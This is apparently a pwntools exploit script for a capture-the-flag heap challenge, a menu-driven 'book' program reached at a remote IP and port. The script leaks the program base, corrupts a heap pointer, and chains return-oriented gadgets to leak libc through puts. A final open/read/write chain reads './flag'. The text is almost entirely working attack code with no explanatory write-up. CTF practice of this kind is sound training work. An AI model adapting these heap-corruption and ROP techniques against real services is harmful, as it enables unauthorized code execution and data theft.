1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| from pwn import *
import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0 IP = "48.218.22.35" PORT = 10000
elf = context.binary = ELF('./pwn') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def create(size): sla("Your choice:","1") sla("How many pages does your book need?",str(size))
def delete(idx,y = 0,idx1 = 0,content = b''): sla("Your choice:","2") sla("which book would you want to delete?",str(idx)) if y: sla("Do you want to say anything else before being deleted?(y/n)","y") sla("which page do you want to write?",str(idx1)) sa("content: ",content) else: sla("Do you want to say anything else before being deleted?(y/n)","n")
def edit(content): sla("Your choice:","3") sa("come on,Write down your story!",content)
ru("give you a gift: ") d = int(r(14),16) elf_base = d - 0x4010 success(hex(d)) success(hex(elf_base))
create(0x4d8) create(0x38) create(0x4b8)
delete(0) create(0x500)
book = elf_base + 0x000000000004050 delete(2,1,0,p64(0) * 2 + p64(book - 0x20)) create(0x500)
rdi = elf_base + 0x0000000000001863 rsi = elf_base + 0x0000000000001861 bss = elf_base + 0x4110 edit_func = elf_base + 0x0000000000015E1
puts_got = elf_base + elf.got['puts'] puts_plt = elf_base + elf.plt['puts']
payload = b'a' * 0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_func) edit(payload) rl() libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts'] success(hex(libc_base))
rdx = libc_base + 0x000000000011f2e7 open = libc_base + libc.sym['open'] read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write']
payload = b'a' * 0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_func) time.sleep(0.3) sl(payload)
payload = flat([ b'a' * 0x28, rdi,0,rsi,bss,0,rdx,0x8,0,read, rdi,bss,rsi,0,0,open, rdi,3,rsi,bss,0,rdx,0x40,0,read, rdi,1,rsi,bss,0,rdx,0x40,0,write ])
time.sleep(1) sl(payload)
success(hex(bss))
time.sleep(1) s(b'./flag\x00\x00')
p.interactive()
|